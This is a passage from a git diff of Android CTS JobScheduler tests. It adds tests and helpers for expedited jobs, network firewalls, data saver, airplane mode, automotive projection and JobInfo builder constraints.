+     * Schedule an expedited job that requires a network connection, and verify that it runs even
+     * when multiple firewalls are active.
+     */
+    public void testExpeditedJobDoesNotBypassSimultaneousFirewalls_withDataSaver()
+            throws Exception {
+        if (!BatteryUtils.isBatterySaverSupported()) {
+            Log.d(TAG, "Skipping test that requires battery saver support");
+            return;
+        }
+        if (mHasWifi) {
+            setWifiMeteredState(true);
+        } else if (checkDeviceSupportsMobileData()) {
+            disconnectWifiToConnectToMobile();
+        } else {
+            Log.d(TAG, "Skipping test that requires a metered network.");
+            return;
+        }
+        if (!AppStandbyUtils.isAppStandbyEnabled()) {
+            Log.d(TAG, "App standby not enabled");
+            return;
+        }
+
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+        mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
+        SystemUtil.runShellCommand("am set-standby-bucket "
+                + kJobServiceComponent.getPackageName() + " restricted");
+        BatteryUtils.runDumpsysBatteryUnplug();
+        BatteryUtils.enableBatterySaver(true);
+        setDataSaverEnabled(true);
+
+        mTestAppInterface = new TestAppInterface(mContext, CONNECTIVITY_JOB_ID);
+
+        mTestAppInterface.scheduleJob(false,  JobInfo.NETWORK_TYPE_ANY, true);
+        mTestAppInterface.runSatisfiedJob();
+
+        assertFalse("Expedited job fired with multiple firewalls, including data saver.",
+                mTestAppInterface.awaitJobStart(DEFAULT_TIMEOUT_MILLIS));
+    }
+
     // --------------------------------------------------------------------------------------------
     // Utility methods
     // --------------------------------------------------------------------------------------------
 
-    /** Asks (not forces) JobScheduler to run the job if functional constraints are met. */
-    private void runJob() throws Exception {
-        // Since connectivity is a functional constraint, calling the "run" command without force
-        // will only get the job to run if the constraint is satisfied.
-        SystemUtil.runShellCommand(getInstrumentation(), "cmd jobscheduler run"
-                + " -u " + UserHandle.myUserId()
-                + " " + kJobServiceComponent.getPackageName() + " " + CONNECTIVITY_JOB_ID);
-    }
-
     /**
      * Determine whether the device running these CTS tests should be subject to tests involving
      * mobile data.
@@ -461,6 +832,61 @@
         return false;
     }
 
+    private String unquoteSSID(String ssid) {
+        // SSID is returned surrounded by quotes if it can be decoded as UTF-8.
+        // Otherwise it's guaranteed not to start with a quote.
+        if (ssid.charAt(0) == '"') {
+            return ssid.substring(1, ssid.length() - 1);
+        } else {
+            return ssid;
+        }
+    }
+
+    private String getWifiSSID() {
+        final AtomicReference<String> ssid = new AtomicReference<>();
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            ssid.set(mWifiManager.getConnectionInfo().getSSID());
+        }, Manifest.permission.ACCESS_FINE_LOCATION);
+        return unquoteSSID(ssid.get());
+    }
+
+    // Returns "true", "false" or "none"
+    private String getWifiMeteredStatus(String ssid) {
+        // Interestingly giving the SSID as an argument to list wifi-networks
+        // only works iff the network in question has the "false" policy.
+        // Also unfortunately runShellCommand does not pass the command to the interpreter
+        // so it's not possible to | grep the ssid.
+        final String command = "cmd netpolicy list wifi-networks";
+        final String policyString = SystemUtil.runShellCommand(command);
+
+        final Matcher m = Pattern.compile("^" + ssid + ";(true|false|none)$",
+                Pattern.MULTILINE | Pattern.UNIX_LINES).matcher(policyString);
+        if (!m.find()) {
+            fail("Unexpected format from cmd netpolicy (when looking for " + ssid + "): "
+                    + policyString);
+        }
+        return m.group(1);
+    }
+
+    private void setWifiMeteredState(boolean metered) throws Exception {
+        if (metered) {
+            // Make sure unmetered cellular networks don't interfere.
+            setAirplaneMode(true);
+            setWifiState(true, mCm, mWifiManager);
+        }
+        final String ssid = getWifiSSID();
+        setWifiMeteredState(ssid, metered ? "true" : "false");
+    }
+
+    // metered should be "true", "false" or "none"
+    private void setWifiMeteredState(String ssid, String metered) {
+        if (metered.equals(getWifiMeteredStatus(ssid))) {
+            return;
+        }
+        SystemUtil.runShellCommand("cmd netpolicy set metered-network " + ssid + " " + metered);
+        assertEquals(getWifiMeteredStatus(ssid), metered);
+    }
+
     /**
      * Ensure WiFi is enabled, and block until we've verified that we are in fact connected.
      */
@@ -519,7 +945,7 @@
         }
     }
 
-    private static boolean isWiFiConnected(final ConnectivityManager cm, final WifiManager wm) {
+    static boolean isWiFiConnected(final ConnectivityManager cm, final WifiManager wm) {
         if (!wm.isWifiEnabled()) {
             return false;
         }
@@ -528,8 +954,7 @@
             return false;
         }
         final NetworkCapabilities networkCapabilities = cm.getNetworkCapabilities(network);
-        return networkCapabilities != null && networkCapabilities.hasTransport(TRANSPORT_WIFI)
-                && networkCapabilities.hasCapability(NET_CAPABILITY_NOT_SUSPENDED);
+        return networkCapabilities != null && networkCapabilities.hasTransport(TRANSPORT_WIFI);
     }
 
     /**
@@ -540,7 +965,8 @@
      * @see #mHasTelephony
      * @see #checkDeviceSupportsMobileData()
      */
-    private void disconnectWifiToConnectToMobile() throws InterruptedException {
+    private void disconnectWifiToConnectToMobile() throws Exception {
+        setAirplaneMode(false);
         if (mHasWifi && mWifiManager.isWifiEnabled()) {
             NetworkRequest nr = new NetworkRequest.Builder().clearCapabilities().build();
             NetworkCapabilities nc = new NetworkCapabilities.Builder()
@@ -567,6 +993,38 @@
                 enabled ? RESTRICT_BACKGROUND_ON_CMD : RESTRICT_BACKGROUND_OFF_CMD);
     }
 
+    private boolean isAirplaneModeOn() throws Exception {
+        final String output = SystemUtil.runShellCommand(getInstrumentation(),
+                "cmd connectivity airplane-mode").trim();
+        return "enabled".equals(output);
+    }
+
+    private void setAirplaneMode(boolean on) throws Exception {
+        if (isAirplaneModeOn() == on) {
+            return;
+        }
+        final CallbackAsserter airplaneModeBroadcastAsserter = CallbackAsserter.forBroadcast(
+                new IntentFilter(Intent.ACTION_AIRPLANE_MODE_CHANGED));
+        SystemUtil.runShellCommand(getInstrumentation(),
+                "cmd connectivity airplane-mode " + (on ? "enable" : "disable"));
+        airplaneModeBroadcastAsserter.assertCalled("Didn't get airplane mode changed broadcast",
+                15 /* 15 seconds */);
+        waitUntil("Networks didn't change to " + (!on ? " on" : " off"), 60 /* seconds */,
+                () -> {
+                    if (on) {
+                        return mCm.getActiveNetwork() == null
+                                && (!mHasWifi || !isWiFiConnected(mCm, mWifiManager));
+                    } else {
+                        return mCm.getActiveNetwork() != null;
+                    }
+                });
+        // Wait some time for the network changes to propagate. Can't use
+        // waitUntil(isAirplaneModeOn() == on) because the response quickly gives the new
+        // airplane mode status even though the network changes haven't propagated all the way to
+        // JobScheduler.
+        Thread.sleep(5000);
+    }
+
     private static class NetworkTracker extends ConnectivityManager.NetworkCallback {
         private static final int MSG_CHECK_ACTIVE_NETWORK = 1;
         private final ConnectivityManager mCm;
@@ -624,7 +1082,7 @@
                     mHandler.sendEmptyMessageDelayed(MSG_CHECK_ACTIVE_NETWORK, 5000);
                 }
             } else {
-                if (activeNetwork != null
+                if (activeNetwork == null
                         || !mExpectedCapabilities.satisfiedByNetworkCapabilities(
                         mCm.getNetworkCapabilities(activeNetwork))) {
                     mReceiveLatch.countDown();
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ExpeditedJobTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ExpeditedJobTest.java
new file mode 100644
index 0000000..9f2db10
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ExpeditedJobTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler.cts;
+
+import static android.jobscheduler.cts.JobThrottlingTest.setTestPackageStandbyBucket;
+import static android.jobscheduler.cts.TestAppInterface.TEST_APP_PACKAGE;
+
+import static org.junit.Assert.assertTrue;
+
+import android.app.ActivityManager;
+import android.app.AppOpsManager;
+import android.content.Context;
+import android.jobscheduler.cts.jobtestapp.TestJobSchedulerReceiver;
+import android.os.SystemClock;
+import android.os.UserHandle;
+import android.support.test.uiautomator.UiDevice;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.AppOpsUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collections;
+import java.util.Map;
+
+@RunWith(AndroidJUnit4.class)
+public class ExpeditedJobTest {
+    private static final long DEFAULT_WAIT_TIMEOUT_MS = 2_000;
+    private static final String APP_OP_GET_USAGE_STATS = "android:get_usage_stats";
+
+    private Context mContext;
+    private UiDevice mUiDevice;
+    private int mTestJobId;
+    private TestAppInterface mTestAppInterface;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mTestJobId = (int) (SystemClock.uptimeMillis() / 1000);
+        mTestAppInterface = new TestAppInterface(mContext, mTestJobId);
+        setTestPackageStandbyBucket(mUiDevice, JobThrottlingTest.Bucket.ACTIVE);
+        AppOpsUtils.setOpMode(TEST_APP_PACKAGE, APP_OP_GET_USAGE_STATS,
+                AppOpsManager.MODE_ALLOWED);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mTestAppInterface.cleanup();
+        AppOpsUtils.reset(TEST_APP_PACKAGE);
+    }
+
+    @Test
+    public void testJobUidState() throws Exception {
+        mTestAppInterface.scheduleJob(Map.of(
+                TestJobSchedulerReceiver.EXTRA_AS_EXPEDITED, true,
+                TestJobSchedulerReceiver.EXTRA_REQUEST_JOB_UID_STATE, true
+        ), Collections.emptyMap());
+        forceRunJob();
+        assertTrue("Job did not start after scheduling",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT_MS));
+        mTestAppInterface.assertJobUidState(ActivityManager.PROCESS_STATE_TRANSIENT_BACKGROUND,
+                ActivityManager.PROCESS_CAPABILITY_NETWORK,
+                225 /* ProcessList.PERCEPTIBLE_MEDIUM_APP_ADJ */);
+    }
+
+    /** Forces JobScheduler to run the job */
+    private void forceRunJob() throws Exception {
+        mUiDevice.executeShellCommand("cmd jobscheduler run -f"
+                + " -u " + UserHandle.myUserId() + " " + TEST_APP_PACKAGE + " " + mTestJobId);
+    }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
index 7177bf5..3abdf03 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
@@ -21,17 +21,13 @@
 import android.annotation.TargetApi;
 import android.app.UiModeManager;
 import android.app.job.JobInfo;
-import android.content.Context;
 import android.content.pm.PackageManager;
-import android.content.res.Configuration;
-import android.os.PowerManager;
 import android.os.UserHandle;
 import android.support.test.uiautomator.UiDevice;
-import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
 
-import com.android.compatibility.common.util.BatteryUtils;
+import com.android.compatibility.common.util.SystemUtil;
 
 /**
  * Make sure the state of {@link android.app.job.JobScheduler} is correct.
@@ -41,7 +37,6 @@
     private static final int STATE_JOB_ID = IdleConstraintTest.class.hashCode();
     private static final String TAG = "IdleConstraintTest";
 
-    private PowerManager mPowerManager;
     private JobInfo.Builder mBuilder;
     private UiDevice mUiDevice;
 
@@ -52,7 +47,6 @@
         super.setUp();
         mBuilder = new JobInfo.Builder(STATE_JOB_ID, kJobServiceComponent);
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        mPowerManager = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
 
         // Make sure the screen doesn't turn off when the test turns it on.
         mInitialDisplayTimeout = mUiDevice.executeShellCommand(
@@ -65,9 +59,7 @@
         mJobScheduler.cancel(STATE_JOB_ID);
         // Put device back in to normal operation.
         toggleScreenOn(true);
-        if (isCarModeSupported()) {
-            setCarMode(false);
-        }
+        setAutomotiveProjection(false);
 
         mUiDevice.executeShellCommand(
                 "settings put system screen_off_timeout " + mInitialDisplayTimeout);
@@ -98,15 +90,6 @@
     }
 
     /**
-     * Set the screen state.
-     */
-    private void toggleScreenOn(final boolean screenon) throws Exception {
-        BatteryUtils.turnOnScreen(screenon);
-        // Wait a little bit for the broadcasts to be processed.
-        Thread.sleep(2_000);
-    }
-
-    /**
      * Simulated for idle, and then perform idle maintenance now.
      */
     private void triggerIdleMaintenance() throws Exception {
@@ -165,13 +148,6 @@
         verifyActiveState();
     }
 
-    private boolean isCarModeSupported() {
-        // TVs don't support car mode.
-        return !getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_LEANBACK_ONLY)
-                && !getContext().getSystemService(UiModeManager.class).isUiModeLocked();
-    }
-
     /**
      * Check if dock state is supported.
      */
@@ -223,54 +199,36 @@
         verifyIdleState();
     }
 
-    private void setCarMode(boolean on) throws Exception {
+    private void setAutomotiveProjection(boolean on) throws Exception {
         UiModeManager uiModeManager = getContext().getSystemService(UiModeManager.class);
-        final boolean wasScreenOn = mPowerManager.isInteractive();
         if (on) {
-            uiModeManager.enableCarMode(0);
-            waitUntil("UI mode didn't change to " + Configuration.UI_MODE_TYPE_CAR,
-                    () -> Configuration.UI_MODE_TYPE_CAR ==
-                            (getContext().getResources().getConfiguration().uiMode
-                                    & Configuration.UI_MODE_TYPE_MASK));
+            assertTrue(SystemUtil.callWithShellPermissionIdentity(
+                    () -> uiModeManager.requestProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
+                    "android.permission.TOGGLE_AUTOMOTIVE_PROJECTION"));
         } else {
-            uiModeManager.disableCarMode(0);
-            waitUntil("UI mode didn't change from " + Configuration.UI_MODE_TYPE_CAR,
-                    () -> Configuration.UI_MODE_TYPE_CAR !=
-                            (getContext().getResources().getConfiguration().uiMode
-                                    & Configuration.UI_MODE_TYPE_MASK));
+            SystemUtil.callWithShellPermissionIdentity(
+                    () -> uiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
+            "android.permission.TOGGLE_AUTOMOTIVE_PROJECTION");
         }
         Thread.sleep(2_000);
-        if (mPowerManager.isInteractive() != wasScreenOn) {
-            // Apparently setting the car mode can change the screen state >.<
-            Log.d(TAG, "Screen state changed");
-            toggleScreenOn(wasScreenOn);
-        }
     }
 
     /**
-     * Ensure car mode is considered active.
+     * Ensure automotive projection is considered active.
      */
-    public void testCarModePreventsIdle() throws Exception {
-        if (!isCarModeSupported()) {
-            return;
-        }
-
+    public void testAutomotiveProjectionPreventsIdle() throws Exception {
         toggleScreenOn(false);
 
-        setCarMode(true);
+        setAutomotiveProjection(true);
         triggerIdleMaintenance();
         verifyActiveState();
 
-        setCarMode(false);
+        setAutomotiveProjection(false);
         triggerIdleMaintenance();
         verifyIdleState();
     }
 
     private void runIdleJobStartsOnlyWhenIdle() throws Exception {
-        if (!isCarModeSupported()) {
-            return;
-        }
-
         toggleScreenOn(true);
 
         kTestEnvironment.setExpectedExecutions(0);
@@ -285,7 +243,7 @@
 
         kTestEnvironment.setExpectedExecutions(0);
         kTestEnvironment.setExpectedWaitForRun();
-        setCarMode(true);
+        setAutomotiveProjection(true);
         toggleScreenOn(false);
         triggerIdleMaintenance();
         assertJobWaiting();
@@ -298,7 +256,7 @@
         kTestEnvironment.setExpectedWaitForRun();
         kTestEnvironment.setContinueAfterStart();
         kTestEnvironment.setExpectedStopped();
-        setCarMode(false);
+        setAutomotiveProjection(false);
         triggerIdleMaintenance();
         assertJobReady();
         kTestEnvironment.readyToRun();
@@ -307,21 +265,15 @@
                 kTestEnvironment.awaitExecution());
     }
 
-    public void testIdleJobStartsOnlyWhenIdle_carEndsIdle() throws Exception {
-        if (!isCarModeSupported()) {
-            return;
-        }
+    public void testIdleJobStartsOnlyWhenIdle_settingProjectionEndsIdle() throws Exception {
         runIdleJobStartsOnlyWhenIdle();
 
-        setCarMode(true);
+        setAutomotiveProjection(true);
         assertTrue("Job didn't stop when the device became active.",
                 kTestEnvironment.awaitStopped());
     }
 
     public void testIdleJobStartsOnlyWhenIdle_screenEndsIdle() throws Exception {
-        if (!isCarModeSupported()) {
-            return;
-        }
         runIdleJobStartsOnlyWhenIdle();
 
         toggleScreenOn(true);
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobInfoTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobInfoTest.java
new file mode 100644
index 0000000..eece252
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobInfoTest.java
@@ -0,0 +1,480 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler.cts;
+
+import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_VALIDATED;
+
+import android.app.job.JobInfo;
+import android.content.ClipData;
+import android.content.Intent;
+import android.net.NetworkRequest;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+import android.provider.ContactsContract;
+import android.provider.MediaStore;
+
+/**
+ * Tests related to created and reading JobInfo objects.
+ */
+public class JobInfoTest extends BaseJobSchedulerTest {
+    private static final int JOB_ID = JobInfoTest.class.hashCode();
+
+    @Override
+    public void tearDown() throws Exception {
+        mJobScheduler.cancel(JOB_ID);
+
+        // The super method should be called at the end.
+        super.tearDown();
+    }
+
+    public void testBackoffCriteria() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setBackoffCriteria(12345, JobInfo.BACKOFF_POLICY_LINEAR)
+                .build();
+        assertEquals(12345, ji.getInitialBackoffMillis());
+        assertEquals(JobInfo.BACKOFF_POLICY_LINEAR, ji.getBackoffPolicy());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setBackoffCriteria(54321, JobInfo.BACKOFF_POLICY_EXPONENTIAL)
+                .build();
+        assertEquals(54321, ji.getInitialBackoffMillis());
+        assertEquals(JobInfo.BACKOFF_POLICY_EXPONENTIAL, ji.getBackoffPolicy());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testBatteryNotLow() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiresBatteryNotLow(true)
+                .build();
+        assertTrue(ji.isRequireBatteryNotLow());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiresBatteryNotLow(false)
+                .build();
+        assertFalse(ji.isRequireBatteryNotLow());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testCharging() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiresCharging(true)
+                .build();
+        assertTrue(ji.isRequireCharging());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiresCharging(false)
+                .build();
+        assertFalse(ji.isRequireCharging());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testClipData() {
+        final ClipData clipData = ClipData.newPlainText("test", "testText");
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setClipData(clipData, Intent.FLAG_GRANT_READ_URI_PERMISSION)
+                .build();
+        assertEquals(clipData, ji.getClipData());
+        assertEquals(Intent.FLAG_GRANT_READ_URI_PERMISSION, ji.getClipGrantFlags());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setClipData(null, 0)
+                .build();
+        assertNull(ji.getClipData());
+        assertEquals(0, ji.getClipGrantFlags());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testDeviceIdle() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiresDeviceIdle(true)
+                .build();
+        assertTrue(ji.isRequireDeviceIdle());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiresDeviceIdle(false)
+                .build();
+        assertFalse(ji.isRequireDeviceIdle());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testEstimatedNetworkBytes() {
+        assertBuildFails(
+                "Successfully built a JobInfo specifying estimated network bytes without"
+                        + " requesting network",
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setEstimatedNetworkBytes(500, 1000));
+
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                .setEstimatedNetworkBytes(500, 1000)
+                .build();
+        assertEquals(500, ji.getEstimatedNetworkDownloadBytes());
+        assertEquals(1000, ji.getEstimatedNetworkUploadBytes());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testExtras() {
+        final PersistableBundle pb = new PersistableBundle();
+        pb.putInt("random_key", 42);
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setPersisted(true)
+                .setExtras(pb)
+                .build();
+        final PersistableBundle extras = ji.getExtras();
+        assertNotNull(extras);
+        assertEquals(1, extras.keySet().size());
+        assertEquals(42, extras.getInt("random_key"));
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testExpeditedJob() {
+        // Test all allowed constraints.
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setExpedited(true)
+                .setPersisted(true)
+                .setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                .setRequiresStorageNotLow(true)
+                .build();
+        assertTrue(ji.isExpedited());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        // Test disallowed constraints.
+        final String failureMessage =
+                "Successfully built an expedited JobInfo object with disallowed constraints";
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setMinimumLatency(100));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setOverrideDeadline(200));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setPeriodic(15 * 60_000));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setImportantWhileForeground(true));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setPrefetch(true));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setRequiresDeviceIdle(true));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setRequiresBatteryNotLow(true));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setRequiresCharging(true));
+        final JobInfo.TriggerContentUri tcu = new JobInfo.TriggerContentUri(
+                Uri.parse("content://" + MediaStore.AUTHORITY + "/"),
+                JobInfo.TriggerContentUri.FLAG_NOTIFY_FOR_DESCENDANTS);
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .addTriggerContentUri(tcu));
+    }
+
+    public void testImportantWhileForeground() {
+        // Assert the default value is false
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .build();
+        assertFalse(ji.isImportantWhileForeground());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setImportantWhileForeground(true)
+                .build();
+        assertTrue(ji.isImportantWhileForeground());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setImportantWhileForeground(false)
+                .build();
+        assertFalse(ji.isImportantWhileForeground());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testMinimumLatency() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setMinimumLatency(1337)
+                .build();
+        assertEquals(1337, ji.getMinLatencyMillis());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testOverrideDeadline() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setOverrideDeadline(7357)
+                .build();
+        // ...why are the set/get methods named differently?? >.>
+        assertEquals(7357, ji.getMaxExecutionDelayMillis());
+    }
+
+    public void testPeriodic() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setPeriodic(60 * 60 * 1000L)
+                .build();
+        assertTrue(ji.isPeriodic());
+        assertEquals(60 * 60 * 1000L, ji.getIntervalMillis());
+        assertEquals(60 * 60 * 1000L, ji.getFlexMillis());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setPeriodic(120 * 60 * 1000L, 20 * 60 * 1000L)
+                .build();
+        assertTrue(ji.isPeriodic());
+        assertEquals(120 * 60 * 1000L, ji.getIntervalMillis());
+        assertEquals(20 * 60 * 1000L, ji.getFlexMillis());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testPersisted() {
+        // Assert the default value is false
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .build();
+        assertFalse(ji.isPersisted());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setPersisted(true)
+                .build();
+        assertTrue(ji.isPersisted());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setPersisted(false)
+                .build();
+        assertFalse(ji.isPersisted());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testPrefetch() {
+        // Assert the default value is false
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .build();
+        assertFalse(ji.isPrefetch());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setPrefetch(true)
+                .build();
+        assertTrue(ji.isPrefetch());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setPrefetch(false)
+                .build();
+        assertFalse(ji.isPrefetch());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testRequiredNetwork() {
+        final NetworkRequest nr = new NetworkRequest.Builder()
+                .addCapability(NET_CAPABILITY_INTERNET)
+                .addCapability(NET_CAPABILITY_VALIDATED)
+                .build();
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiredNetwork(nr)
+                .build();
+        assertEquals(nr, ji.getRequiredNetwork());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiredNetwork(null)
+                .build();
+        assertNull(ji.getRequiredNetwork());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    @SuppressWarnings("deprecation")
+    public void testRequiredNetworkType() {
+        // Assert the default value is NONE
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .build();
+        assertEquals(JobInfo.NETWORK_TYPE_NONE, ji.getNetworkType());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                .build();
+        assertEquals(JobInfo.NETWORK_TYPE_ANY, ji.getNetworkType());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
